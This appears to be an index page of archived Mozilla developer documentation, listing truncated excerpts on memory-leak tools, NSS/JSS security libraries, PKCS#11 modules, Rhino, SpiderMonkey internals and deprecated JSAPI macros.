leak gauge is a tool that can be used to detect certain kinds of leaks in gecko, including those involving documents, window objects, and docshells. it has two parts: (a) instrumentation in gecko that produces a log file, and (b) a script to post-process the log file. getting a log file to get a log file, run the browser with the following environment variables set. nspr_log_modules=domleak:5,documentleak:5,nsdocshellleak:5,nodeinfomanagerleak:5 nspr_log_file=nspr.log # or any other filename of your choice this will overwrite any existing file called nspr.log. the browser will run with negligible slowdown. you must exit the browser before post-processing the log file or the results will be unreliable. post-processing a log file post-process the log file with tools/leak-gauge...
Performance
and improving performance when using a gpu. scroll-linked effects information on scroll-linked effects, their effect on performance, related tools, and possible mitigation techniques. automated performance testing and sheriffing information on automated performance testing and sheriffing at mozilla. best practices for front-end engineers tips for reducing impacts on browser performance in front-end code. memory profiling and leak detection tools the developer tools "memory" panel the memory panel in the devtools supports taking heap snapshots, diffing them, computing dominator trees to surface "heavy retainers", and recording allocation stacks. about:memory about:memory is the easiest-to-use tool for measuring memory ...
Productization guide
easier when they’re looking for information, translation, products, multimedia, spelling and definitions, etc. another example: when the user clicks on a mailto: link, we suggest a couple of possible handlers chosen from the applications installed on their computer. but we also suggest a few web-based clients (like yahoo! mail and gmail), so that if the user happens to use one of these in the browser, they don’t have to configure them. the second purpose (demonstrate certain features of the product) is equally important: by providing these default services, we demonstrate particular features of the product, the ones which otherwise wouldn’t be as discoverable. for example, putting one sample news feed on the bookmarks toolbar in new profiles in firefox helps in learning about the live b...
A guide to searching crash reports
pying and pasting the page's url. to become an expert at searching and grouping requires understanding the full range of the 100+ fields available for searching and grouping. one way to learn about them is to read lots of individual crash reports; note that all fields shown in the details tab of an individual crash report have a tool-tip that indicates its key for search. alternatively, you can browse the complete list. there is also an api through which searches can be performed programmatically. see the api documentation for full details; note that it uses the term "aggregation" for grouping/faceting. ...
Debugging out-of-memory problems
uring load time. by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose. this article explains how to debug such problems. out-of-memory exceptions from js setting memory.dump_reports_on_oom in about:config to true will cause the browser to automatically write about:memory dumps to a temp file printed to the browser console (note: not web console) when an oom crash is encountered. for more information, see bug 969415. out-of-memory crashes in some cases, running out of memory causes the browser to crash. ideally, memory.dump_reports_on_oom would generate an about:memory dump, but it does not currently. firefox android on f...
L20n
tion. l20n and translation memory exchange (tmx) how l20n impacts the translation memory exchange standard for translation memory data. l20n syntax cheatsheet for localizers a simple cheatsheet to help localizers as they localize projects with l20n. additional resources some additional resources for developers and localizers involved with l20n. l20n.org you can try l20n live in your browser on the project page. l20n tinker test out your own l20n code in l20n tinker. github where the main code for the l20n infrastructure and design spec lives. wiki page info about the project to develop l20n. ...
Midas editor module security preferences
ge is for web developers and advanced users. please do not try to modify this page. to protect users' private information, unprivileged scripts cannot invoke the cut, copy, and paste commands in midas, which is mozilla's rich text editor component. this means that the corresponding buttons on the mozilla rich text editing demo page will not work. to enable these functions, you must modify your browser preferences. warning: changing these preferences can leave your browser insecure, especially if you grant permission to untrusted sites. only change these settings as needed to try the demo above and to test your own add-on or firefox-internal code, and be sure to restore the default settings when you're done! changing the preferences in firefox quit firefox. if you have quick launch run...
NSPR
about nspr this topic describes, in general terms, the goals of nspr and a bit about how it does it. nspr api reference the reference describes each api public macro, structure and function in the nspr api. nspr build instructions how to checkout and build from source. nspr release process how to prepare an nspr release. legacy nspr content older nspr content is available in svn for browsing and/or migration to this site getting nspr nspr is available in various source and binary packages, depending on your platform: windows: build the source package, using the nspr build instructions. mac: install the macports nspr package, or the homebrew nspr package. ubuntu: install the libnspr4-dev package via apt-get. debian: install the libnspr4-dev package via apt-get. opensuse l...
NSS FAQ
Mozilla › Projects › NSS › FAQ
general questions what is network security services (nss) nss is set of libraries, apis, utilities, and documentation designed to support cross-platform development of security-enabled client and server applications. it provides a complete open-source implementation of the crypto libraries used by mozilla and other companies in the firefox browser, aol instant messenger (aim), server products from red hat, and other products. for an overview of nss, see overview of nss. for detailed information on the open-source nss project, see nss project page. what can i do with nss? is nss appropriate for my application? if you want add support for ssl, s/mime, or other internet security standards to your application, you can use network security services (nss) to do so. because nss provides ...
4.3.1 Release Notes
e you do not want to obtain your own jce code signing certificate. jss is a jce provider and therefore the jss4.jar must be signed. ftp://ftp.mozilla.org/pub/mozilla.org/security/jss/releases/jss_4_3_1_rtm. documentation documentation for jss 4.3.1 is available as follows: build instructions for jss 4.3.1 javadoc [online] [zipped] read the instructions on using jss. source may be viewed with a browser (via the mxr tool) at http://mxr.mozilla.org/mozilla/source/security/jss/ the run time behavior of jss can be affected by the nss environment variables. platform information you can check out the source from cvs by cvs co -r jss_4_3_1_rtm jss jss 4.3.1 works with jdk versions 4 or higher we suggest the latest. jss 4.3.1 requires nss 3.12.5 or higher. jss 4.3.1 requires nspr 4.7.1 or hig...
4.3 Release Notes
case you do not want to obtain your own jce code signing certificate. jss is a jce provider and therefore the jss4.jar must be signed. https://archive.mozilla.org/pub/security/jss/releases/jss_4_3_rtm/ documentation documentation for jss 4.3 is available as follows: build instructions for jss 4.3 javadoc [online] [zipped] read the instructions on using jss. source may be viewed with a browser (via the mxr tool) at http://mxr.mozilla.org/mozilla/source/security/jss/ the run time behavior of jss can be affected by the nss environment variables. platform information jss 4.3 works with jdk versions 4 or higher we suggest the latest. jss 4.3 requires nss 3.12 or higher. jss 4.3 requires nspr 4.7.1 or higher. jss only supports the native threading model (no green threads). k...
Build instructions for JSS 4.3.x
lled) windows (cygnus) java_home=/cygdrive/c/programs/jdk1.5.0 (or wherever your jdk is installed) export java_home windows build configurations winnt vs win95 as of nss 3.15.4, nspr/nss/jss build generates a "win95" configuration by default on windows. we recommend most applications use the "win95" configuration. if you want jss to be used with your applet and the firefox browser than you must build win95. (see jss faq) the "win95" configuration supports all versions of windows. the "win95" name is historical; it should have been named "win32". to generate a "winnt" configuration, set os_target=winnt and build nspr/nss/jss win95. mac os x it has been recently reported that special build instructions are necessary to succeed building jss on osx. please see howto_suc...
JSS Provider Notes
he us government. sun therefore requires that jar files implementing jce algorithms be digitally signed by an approved organization. netscape has this approval and signs the official builds of jss32.jar. at runtime, the jre automatically verifies this signature whenever a jss class is loaded that implements a jce algorithm. the verification is transparent to the application (unless it fails and throws an exception). if you are curious, you can verify the signature on the jar file using the jarsigner tool, which is distributed with the jdk. if you build jss yourself from source instead of using binaries downloaded from mozilla.org, your jar file will not have a valid signature. this means you will not be able to use the jss provider for jce algorithms. you have two choices. use the bi...
Mozilla-JSS JCA Provider notes
hat jar files implementing jce algorithms be digitally signed by an approved organization. the maintainers of jss, sun, red hat, and mozilla, have this approval and signs the official builds of jss4.jar. at runtime, the jre automatically verifies this signature whenever a jss class is loaded that implements a jce algorithm. the verification is transparent to the application (unless it fails and throws an exception). if you are curious, you can verify the signature on the jar file using the jarsigner tool, which is distributed with the jdk. if you build jss yourself from source instead of using binaries downloaded from mozilla.org, your jar file will not have a valid signature. this means you will not be able to use the jss provider for jce algorithms. you have two choices. use the binary rel...
NSS 3.12.6 release notes
19550: allow the specification of an alternate library for sqlite bug 524167: crash in [[@ find_objects_by_template - nsstoken_findcertificatebyissuerandserialnumber] bug 526910: maxresponselength (initialized to pkix_default_max_response_length) is too small for downloading some crls. ...
NSS 3.14 release notes
s when building for intel macs, nss will now take advantage of optimized assembly code for common operations. these changes have the observed effect of doubling rsa performance. bug 792681 - new default cipher suites the default cipher suites in nss 3.14 have been changed to better reflect the current security landscape. the defaults now better match the set that most major web browsers enable by default. bug 783448 - when performing an ssl renegotiation, the client_version that is sent in the renegotiation clienthello will be set to match the client_version that was sent in the initial clienthello. this is needed for compatibility with iis. certificate signatures that make use of the md5 hash algorithm will now be rejected by default. support for md5 may be manually e...
nss tech note4
eyusageextension (certcertificate *cert, secitem *value); get decoded value of the subjectkeyid extension. this uses pr_alloc to allocate buffer for the decoded value, the caller should free up the storage allocated in value->data. ...
nss tech note5
note: this document contains code snippets that focus on essential aspects of the task and often do not illustrate all the cleanup that needs to be done. ...
PKCS11 FAQ
Mozilla › Projects › NSS › PKCS11 › FAQ
aranteed. you should be prepared to handle temporary objects. (many nss based server products will use temporary session objects, even for "private key op only" tokens.) if a session key is unwrapped and stays on a hardware token, is it sufficient to support just the usual decryption mechanisms for it, or is it assumed that such a symmetric key will always be extractable from the token into the browser? the motivation for this is that some hardware tokens will prevent extraction of symmetric keys by design. nss attempts to extract an unwrapped key from a token only if the token cannot provide the necessary service with that key. for instance if you are decrypting an s/mime message and you have unwrapped the des key with the private key provided by a given token, nss attempts to use that toke...
PKCS11 module installation
refox preferences to install pkcs #11 modules save the pkcs #11 module to a permanent location on your local computer open the firefox preferences dialog. choose "advanced" > "encryption" > "security devices" choose "load" enter a name for the security module, such as "my client database". note: there is currently a bug in firefox where international characters may cause problems. choose "browse..." to find the location of the pkcs #11 module on your local computer, and choose "ok" when done. provisioning pkcs #11 modules using the pkcs11 api starting with firefox 58, extensions can use the pkcs11 browser extension api to enumerate pkcs #11 modules and make them accessible to the browser as sources of keys and certificates. ...
Python binding for NSS
principal developer of python-nss is john dennis jdennis@redhat.com. additional contributors are: miloslav trmač mitr@redhat.com bohuslav kabrda slavek@redhat.com the python-nss binding is still young despite having been utilized in several major software projects. thus it's major version number is still at zero. this is primarily so the developers can make changes to the api as experiece grows with it. for example it is already known there are some naming inconsistencies. elments of the api are probably not ideally partitioned into proper namespaces via python modules. some functionality and interface have already been deprecated due to lessons learned. thus at some point in the future when it is felt the api has solidified and been further proven in the field a 1.0 release will be mad...
sslfnc.html
export policy functions for details. your application must call one of the export policy functions before it can perform any cryptographic operations. the tls_rsa_export1024_with_des_cbc_sha and tls_rsa_export1024_with_rc4_56_sha cipher suites are defined in rfc 2246. they work with both ssl3 and tls. they use symmetric ciphers with an effective key size of 56 bits. the so-called 56-bit export browsers and servers use these cipher suites. the cipher suite numbers for the ssl_rsa_fips_with_3des_ede_cbc_sha and ssl_rsa_fips_with_des_cbc_sha cipher suites have been changed so that they are no longer "experimental" values. if an application attempts to set or set the policy or preference for one of the old fips cipher suite numbers, the library recognizes the old number and sets or gets the va...
TLS Cipher Suite Discovery
ories, and the number of possible combinations of all those choices is large. tls does not allow all possible combinations of choices from those categories to be used. instead, tls allows only certain well-defined combinations of those choices, known as cipher suites, defined in the ietf rfc standards. each cipher suite is represented by a 16-bit number. the number of well-defined cipher suites grows with time, and no tls implementation offers all known cipher suites at all times. an implementation that claimed to offer all defined cipher suites would only be able to make that claim for a short time until another new cipher suite was defined. at any time, any real implementation implements some subset of the complete set of well-defined cipher suites. each new release of a tls implementation...
NSS Tools modutil
continue: after you press enter, the tool displays the following: using database directory c:\databases...slot "cryptographic reader" enabled. enabling fips compliance this example enables fips 140-2 compliance in communicator's internal module: modutil -dbdir "c:\databases" -fips true the security module database tool displays a warning: warning: performing this operation while the browser is running could causecorruption of your security databases. if the browser is currently running,you should exit browser before continuing this operation. type'q <enter>' to abort, or <enter> to continue: after you press enter, the tool displays the following: fips mode enabled. adding a cryptographic module this example adds a new cryptographic module to the database: c:\modutil> modu...
NSS tools : signtool
a network, a test certificate created with -g is not signed by a recognized certificate authority. instead, it is self-signed. in addition, a single test signing certificate functions as both an object-signing certificate and a ca. when you are using it to sign objects, it behaves like an object-signing certificate. when it is imported into browser software such as communicator, it behaves like an object-signing ca and cannot be used to sign objects. the -g option is available in netscape signing tool 1.0 and later versions only. by default, it produces only rsa certificates with 1024-byte keys in the internal token. however, you can use the -s option specify the required key size and...
Necko
ing firefox) and can be used for writing other networking clients. currently the library is built as part of the mozilla distribution. you can get the whole distribution as described in the build documentation. eventually we'd like to move to a binary distribution mechanism for the networking library so that you can build your application that uses this library without having to build mozilla. browse our code in its latest state at netwerk/ documents a necko code walkthrough necko architecture necko multithreading necko faq necko interfaces overview the necko http module proxies in necko pac files community view mozilla forums... mailing list newsgroup rss feed ...
Installing Pork
see the mcpp manual. in particular, -k tells mcpp to add the macro annotations we use to get exact source positions. c++ files from other projects can be preprocessed with gcc -e -wp,-w0,-k. building a 32-bit mcpp on a 64-bit syste...
Rhino Debugger
current limitations: no breakpoint menu using the rhino javascript debugger the mozilla rhino javascript engine includes a source-level debugger for debugging javascript scripts. ...
Rhino FAQ
. for example, creating an array of seven ints can be done with the code var intarray = java.lang.reflect.array.newinstance(java.lang.integer.type, 7); when i try to execute a script i get the exception required security context missing. what's going on? you've likely missed placing the security.properties file in your class path at org.mozilla.javascript.resources. can i use rhino in a web browser? rhino is a library for java use, and not for general web browsers. however, a java-based browser may use rhino with scripts from a page in the same manner that any other java program would. ...
Rhino overview
ed. internationalization the messages reported by the javascript engine are by default retrieved from the property file org/mozilla/javascript/resources/messages.properties. if other properties files with extensions corresponding to the current locale exist, they will be used instead. javascript language versions some behavior in the javascript engine is dependent on the language version. in browser embeddings, this language version is selected using the language attribute of the script tag with values such as "javascript1.2". version 1.3 and greater are ecma conformant. operators == and != version 1.2 only uses strict equality for the == and != operators. in version 1.3 and greater, == and != have the same meanings as ecma. the operators === and !== use strict equality in all versions.
The JavaScript Runtime
le, evaluating the expression obj["3"] will invoke the get(int, scriptable) method even though the property name was presented in the script as a string. similarly, values of numbers that do not fix in integers (like 1.1 and 0x100000000) must be converted to strings. defining host objects host objects are javascript objects that provide special access to the host environment. for example, in a browser environment, the window and document objects are host objects. the easiest way to define new host objects is by using scriptableobject.defineclass(). this method defines a set of javascript objects using a java class. several of the examples define host objects this way. if the services provided by defineclass are insufficient, try other methods of scriptableobject and functionobject, such as...
Rhino scopes and contexts
ay not work properly for other scripts. such bugs are hard to debug and to remove a possibility for them to occur one can seal the shared scope and all its objects. a notion of a sealed object is a javascript extension supported by rhino and it means that properties can not be added/deleted to the object and the existing object properties can not be changed. any attempt to modify sealed object throws an exception. to seal all objects in the standard library passtrue for the sealed argument when calling context.initstandardobjects(scriptableobject, boolean): scriptableobject sealedsharedscope = cx.initstandardobjects(null, true); this seals only all standard library objects, it does not seal the shared scope itself thus after callinginitstandardobjects, sealedsharedscope can be farther popu...
SpiderMonkey compartments
age collector would walk the entire heap of all javascript objects when garbage collection was needed. with compartments, garbage collection can run per compartment. this can result in significant performance improvements in some applications. an object in one compartment cannot touch an object in another compartment, except through a cross-compartment wrapper. compartment example the firefox browser embeds spidermonkey. in firefox 4 and above, compartments are used and all javascript objects that belong to a certain origin (such as "http://mail.google.com/" or "http://www.bank.com/") are placed in a separate compartment. this has some important implications: all objects created by a website reside in the same compartment and hence are located in the same memory region. this improves ca...
GCIntegration - SpiderMonkey Redirect 1
lement that hook to find their corresponding c++ object and update the wrapper field to point to the new location. undoubtedly there will be more esoteric cases. we will need to handle pointers to array slots and string characters specially, since those may actually be pointers into the middle of gc things (inline slots or inline chars). we will need to explore how these situations occur in the browser now, and how best to handle them. write barriers generational gc needs its own write barrier. the goal is to keep a list, called the remembered set, of all pointers from the tenured generation into the nursery. so every time a pointer is written somewhere, we need to check if the source is in the tenured gen and if the destination is in the nursery. if so, the pointer is added to the remember...
Exact Stack Rooting
he liveset is said to be "rooted" even if it is not a root as such, but is only reachable from roots. this traditional usage is ambiguous and this guide will use live or alive instead of rooted to avoid confusion. caveats exact rooting transition period exact stack rooting is not currently enabled by default: we are still using conservative scanning. until the system described above has 100% browser coverage, it is unsafe to enable it. in the meantime, the js::rootedt class holds an object live by storing its pointer on the stack so that the conservative scanner will find it. this distinction should not be noticable to the end user. performance tweaking in aggregate, exact and conservate stack rooting should have similar performance. the performance tradeoffs that these techniques make, ...
Property cache
occurred; then at t1 the lookup for p in x still finds the same property on x'. (informally: if another variable or property shadows x'.p, the shape of x' will change.) o this object is x, perhaps a call object. ↓ o ----> o a block object and its proto. ↓ o another call object. ↓ o ----> o ----> o ----> o ^global ^x' (----> indicates proto as before; downward arrows ↓ indicate the parent relation) method guarantee — if at time t0 the object x has shape s; and x has an own property p that is a method property (transparently joined function); and at time t1 an object y has shape s; and no shape-regenerating gc occurred; then at time t1 y's own property p is the same method property. (the existence of this property is guaranteed by the basic layout gu...
Self-hosted builtins in SpiderMonkey
ltins is installed via the intrinsic_functions array in selfhosting.cpp, as described below. using the same mechanism, c++-implemented helper functions are made available to self-hosted code. some general-purpose functions provided in this way are: the abstract operations toobject, tointeger, and iscallable specified in the ecmascript language specification. throwtypeerror, throwrangeerror, throwsyntaxerror, which self-hosted code should use instead of throw so that the error message is specified in js.msg and can be localized. the makeconstructible function described above. the file utilities.js provides some additional, js-implemented helper functions. of note, it provides implementations of list and record, types defined in the ecmascript specifications that are similar to array and ...
Introduction to the JavaScript shell
specified object, or an object graph if deep is true. by sealing an object or object graph, you disable modification of those objects. sleep(dt) added in spidermonkey 1.8 only in js_threadsafe builds. sleep for dt seconds. fractions of a second are supported. returns true on success, false if the sleep was interrupted. stackquota([number]) get or set the script stack quota. throwerror() throws an error from the js_reporterror() function. note: this function is intended only for use when testing the javascript engine. trap([function, [pc,]] expression) sets a trap at the specific point in the javascript code. when the bytecode at the offset specified by pc in the function function is about to be executed, the expression is evaluated. this is a powerful debugging mechanism when used ...
JIT Optimization Strategies
s only historic information about this feature. note: this page is an in-progress documentation of jit optimization strategies planned to support the "jit coach" feature intended for inclusion in firefox developer tools. this page has two intended uses: 1. provide a repository of jit optimization strategy information which the jit coach tool can parse to display in its ui. 2. provide a user-browsable documentation of optimization strategies, how they work, how they are defeated, and options for how to re-enable them. spidermonkey's optimizing jit, ionmonkey, uses various strategies to optimize operations. the most commonplace operations that are relevant for fast program execution are property accesses and function calls. optimization information is currently collected for the followin...
BOOLEAN_TO_JSVAL
try to avoid using it. cast a c integer to a boolean js::value without any type checking or error handling. please use js::booleanvalue/js::truevalue/js::falsevalue instead in spidermonkey 45 or later. syntax jsval boolean_to_jsval(bool b); name type description b bool c integer value to be converted to a boolean jsval. description boolean_to_jsval converts a bool argument, b, to a boolean jsval. if b is false, the result is jsval_false. if b is true, the result is jsval_true. ...
DOUBLE_TO_JSVAL
try to avoid using it. casts a pointer to a gc-allocated jsdouble to type jsval. please use js::doublevalue instead in spidermonkey 45 or later. syntax jsval double_to_jsval(double d); name type description d double c double to convert to a jsval. description double_to_jsval is the inverse of js::tonumber. to convert a c float, double to type js::value, use js_numbervalue instead. ...
INT_FITS_IN_JSVAL
try to avoid using it. determines if a specified c integer is safe to pass to int_to_jsval. syntax #define int_fits_in_jsval(i) /* ... */ name type description i jsint the c integer value to check. description determines if a specified c integer value, i, lies within the range allowed for integer jsvals. if so, int_fits_in_jsval returns true, and i can be cast to jsval by calling int_to_jsval(i). otherwise, int_fits_in_jsval returns false. ...
INT_TO_JSVAL
try to avoid using it. converts a specified integer value to a js integer value. please use js::int32value instead in spidermonkey 45 or later. syntax jsval int_to_jsval(int32_t i); name type description i any integer type c integer to convert to a jsval. description int_to_jsval converts a c integer, i, to a jsval. before spidermonkey 1.8.5, not all integers can be stored in a jsval; use int_fits_in_jsval to test. ...
JS::Add*Root
try to avoid using it. this article covers features introduced in spidermonkey 31 register a variable as a member of the garbage collector's root set, to protect anything the root points at from garbage collection. these functions are obsoleted, use js::persistentrooted instead. ...
JS::AutoVectorRooter
array. bool insert(t *p, const t &val) inserts an element val at the position specified by p. void infallibleappend(const t &v) appends an element v to the array. for use when space has already been reserved. void popback() pops an element from the array. t popcopy() pops an element from the array and returns it. bool growby(size_t inc) grows the array by inc. bool resize(size_t newlength) resizes the array to newlength. void clear() clears all elements. bool reserve(size_t newlength) reserves the array with newlength. js::mutablehandle<t> operator[](size_t i) returns to the i-th element as js::mutablehandle&lt;t&gt;. js::handle<t> operator[](size_t i) const returns to the i-...
JS::CompileOptions
should be lazily loaded from the embedding as-needed. introductiontype const char a statically allocated c string: one of following in general: "eval" - code passed to eval "function" - code passed to the function constructor. "generatorfunction" - code passed to the generatorfunction constructor. in addition to above, the following are used in browser: "worker" - code loaded by calling the web worker constructor—the worker's main script. "importscript" - code by calling importscripts in a web worker. "eventhandler" - code assigned to dom elements' event handler idl attributes as a string. "scriptelement" - code belonging to <script> elements. "javascripturl" - code presented in javascript: urls. "settime...
JS::Remove*Root
try to avoid using it. this article covers features introduced in spidermonkey 31 unregister a pointer to a gc thing so that it is no longer a member of the garbage collector's root set. this enables any pointed-at gc thing to be garbage collected as needed. ...
JSBool
try to avoid using it. every instance of jsbool has been replaced by bool. js_true has been replaced by just true and in the same way js_false by false. jsbool is the return type of many jsapi functions and callbacks. js_true indicates success; js_false indicates an error or exception occurred. jsbool is an integer type. js_true is (jsbool) 1 and js_false is (jsbool) 0. these values must not be used as jsvals. ...
JSCheckAccessOp
try to avoid using it. jscheckaccessop is the type for jsclass.checkaccess. (it is also the type of the callback set by js_setcheckobjectaccesscallback.) syntax typedef jsbool (* jscheckaccessop)(jscontext *cx, jsobject *obj, jsval id, jsaccessmode mode, jsval *vp); name type description cx jscontext * the js context in which the property access attempt is occurring. obj jsobject * the object whose properties are being accessed. ...
JSExtendedClass.outerObject
try to avoid using it. jsextendedclass.outerobject and .innerobject are callbacks for split objects. callback syntax typedef jsobject * (*jsobjectop)(jscontext *cx, jsobject *obj); name type description cx jscontext * a context. ...
JSExtendedClass
try to avoid using it. jsextendedclass is an extended version of jsclass with additional hooks. a c/c++ program can use a jsextendedclass with the js_initclass and js_newobject apis to create objects that have custom methods and properties implemented in c/c++. ...
JSExtendedClass.wrappedObject
try to avoid using it. this article covers features introduced in spidermonkey 1.8 callback for objects that wrap other objects. syntax typedef jsobject * (*jsobjectop)(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which the object is being unwrapped. obj jsobject * the object to unwrap. ...
JSFUN_BOUND_METHOD
try to avoid using it. flag that indicates a function nominally associated with an object is bound, instead, to that object's parent. syntax jsfun_bound_method description this macro exists only for backward compatibility with existing applications. its use is deprecated. future versions of the javascript engine may not support or recognize this macro. ...
JSFUN_GLOBAL_PARENT
try to avoid using it. ...
JSFastNative
try to avoid using it. this article covers features introduced in spidermonkey 1.8 jsfastnative is the type of fast native functions in the jsapi. apis such as js_initclass and js_definefunctions can create custom methods that are implemented as c/c++ functions of this type, instead of jsnative. the term "native" here refers to c/c++ code as opposed to javascript code. added in spidermonkey 1.8.1 jsfastnative has been renamed to jsnative. ...
JSGetObjectOps
try to avoid using it. jsgetobjectops is the type for jsclass.getobjectops callback syntax typedef jsobjectops * (* jsgetobjectops)(jscontext *cx, jsclass *clasp); name type description cx jscontext * the js context in which the new object is being created. cls jsclass * the class of the new object. description jsobjectops is used by js_newobject's internals to discover the set of high-level object operations to use for new objects of the given class. ...
JSIteratorOp
try to avoid using it. this article covers features introduced in spidermonkey 1.8 callback for creating iterators. syntax typedef jsobject * (*jsiteratorop)(jscontext *cx, jsobject *obj, jsbool keysonly); name type description cx jscontext * pointer to the js context in which the iterator creation should take place. obj jsobject * pointer to the object to iterate over. keysonly jsbool if true, the iterator should yield keys only, not [key, value] pairs. ...
JSMarkOp
try to avoid using it. jsmarkop is the type of the jsclass.mark callback in spidermonkey 1.7 and earlier. in spidermonkey 1.8, jsmarkop will be deprecated. all new code using spidermonkey 1.8 or later should use a jstraceop instead to ensure that the tracing apis work properly. syntax typedef uint32 (* jsmarkop)(jscontext *cx, jsobject *obj, void *arg); name type description cx jscontext * the js context in which the mark phase of garbage collection is occurring. ...
JSNewResolveOp
try to avoid using it. jsnewresolveop is the type of the jsclass.resolve callback when the jsclass_new_resolve bit is set in the jsclass.flags field. syntax typedef bool (* jsnewresolveop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandleobject objp); name type description cx jscontext * pointer to the js context in which the property access is taking place. obj js::handleobject pointer to the object whose properties are being accessed. ...
JSObjectOp
try to avoid using it. jsobjectop is the type of several jsapi callbacks that map an object to another object, or null if an error or exception occurred. ...
JSObjectOps.defaultValue
try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the javascript engine calls the jsobjectops.defaultvalue and jsclass.convert callbacks to convert objects to primitive values. ...
JSObjectOps.defineProperty
try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.defineproperty callback is called whenever an object property is defined. it implements js_defineproperty. ...
JSObjectOps.destroyObjectMap
try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.destroyobjectmap callback is called to destroy a jsobjectmap when its reference count goes to zero. ...
JSObjectOps.dropProperty
try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.dropproperty callback releases a jsproperty. ...
JSObjectOps.getAttributes
try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.getattributes and setattributes callbacks are called to access the attributes of a property. ...
JSObjectOps.getProperty
try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. jsobjectops.getproperty, setproperty, and deleteproperty are high-level callbacks that implement object property accesses. ...
JSObjectOps.getRequiredSlot
try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.getrequiredslot and setrequiredslot callbacks get and set a required slot—one that should already have been allocated. ...
JSObjectOps.lookupProperty
try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.lookupproperty callback is called for every property access (except when a higher-level callback, such as jsobjectops.getproperty, is overloaded in a way that does not call lookupproperty). ...
JSObjectOps.newObjectMap
try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.newobjectmap callback is called whenever a new object is created. it creates a jsobjectmap that completely controls the new object's behavior. ...
JSObjectOps.setProto
try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.setproto and setparent callbacks implement the js_setprototype and js_setparent functions. these callbacks share the same type, jssetobjectslotop. ...
JSObjectPrincipalsFinder
try to avoid using it. jsobjectprincipalsfinder is the type of a security callback that can be configured using js_setobjectprincipalsfinderjsapi 1.8 and earlier or js_setruntimesecuritycallbacksadded in spidermonkey 1.8.1. callback syntax typedef jsprincipals * (* jsobjectprincipalsfinder)(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which to find principals. obj jsobject * the object whose principals are needed. ...
JSPRINCIPALS_HOLD
try to avoid using it. increment or decrement the reference count of a jsprincipals object. syntax jsprincipals_hold(cx, principals) jsprincipals_drop(cx, principals) name type description cx jscontext * a context. principals jsprincipals * pointer to the jsprincipals object to hold or drop. this argument must not be null. description jsprincipals_hold and jsprincipals_drop are used to manage memory for jsprincipals objects. ...
JSReserveSlotsOp
try to avoid using it. jsreserveslotsop is the type of the jsclass.reserveslots. syntax typedef uint32 (* jsreserveslotsop)(jscontext *cx, jsobject *obj); name type description cx jscontext * the js context in which the new object is being created. obj jsobject * the new object. description warning: jsapi applications should not use this hook. a class cannot freely use a reserveslots hook to reserve a different number of slots for each object. ...
JSRuntime
er jsruntimes. all javascript code and most jsapi calls run within a jscontext. the jscontext is a child of the jsruntime. a context can run scripts. it contains the global object and the execution stack. exception handling, error reporting, and some language options are per-jscontext. once created, a context can be used any number of times for different scripts or jsapi queries. for example, a browser might create a separate context for each html page; every script in the page could use the same context. objects may be shared among jscontexts within a jsruntime. there's no fixed association between an object and the context in which it is created. sample code to set up and tear down a jsruntime and a jscontext is at jsapi user guide. threads only one thread may use a jscontext or jsrunti...
JSVAL_IS_BOOLEAN
try to avoid using it. determines if a given jsval is a javascript boolean. syntax jsval_is_boolean(v) description jsval_is_boolean(v) is true if the given javascript value, v, is a boolean value (that is, it is either jsval_true or jsval_false). ...
JSVAL_IS_DOUBLE
try to avoid using it. determines if a given jsval is a number represented as a jsdouble. syntax jsval_is_double(v) description jsval_is_double(v) is true if v is a number represented in memory as a jsdouble. to check whether v is a number, regardless of implementation details, use jsval_is_number instead. ...
JSVAL_IS_GCTHING
try to avoid using it. indicates whether a js value has a type that is subject to garbage collection. syntax jsval_is_gcthing(v) description jsval_is_gcthing(v) is true if the jsval v is either jsval_null or a reference to a value that is subject to garbage collection. javascript performs automatic garbage collection of objects, strings, and doubles. ...
JSVAL_IS_INT
try to avoid using it. determine if a given jsval is a javascript number represented in memory as an integer. syntax jsval_is_int(v) description jsval_is_int(v) is true if the jsval v is a number represented in memory as an integer. to test whether a value is a number, regardless of how it is represented in memory, use jsval_is_number instead. to convert between c integer types and jsval, use jsval_to_int, int_fits_in_jsval, and int_to_jsval. ...
JSVAL_IS_NUMBER
try to avoid using it. determine if a given jsval is a javascript number. syntax jsval_is_number(v) description jsval_is_number(v) is true if v is a javascript number. to convert a numeric jsval to a c floating-point number, use js_valuetonumber. ...
JSVAL_IS_OBJECT
try to avoid using it. determine whether a given jsval is an object or null. syntax jsbool jsval_is_object(jsval v); description jsval_is_object(v) returns true if v is either an object or jsval_null. this indicates that it is safe to call jsval_to_object(v) to convert v to type jsobject *. if v is a string, number, boolean, or undefined, the result is false. this function is obsolete and has been removed. ...
JSVAL_IS_PRIMITIVE
try to avoid using it. determine if a given jsval is of a primitive type. syntax jsval_is_primitive(v) description jsval_is_primitive(v) is true if v is undefined, null, a boolean, a number, or a string. ...
JSVAL_IS_STRING
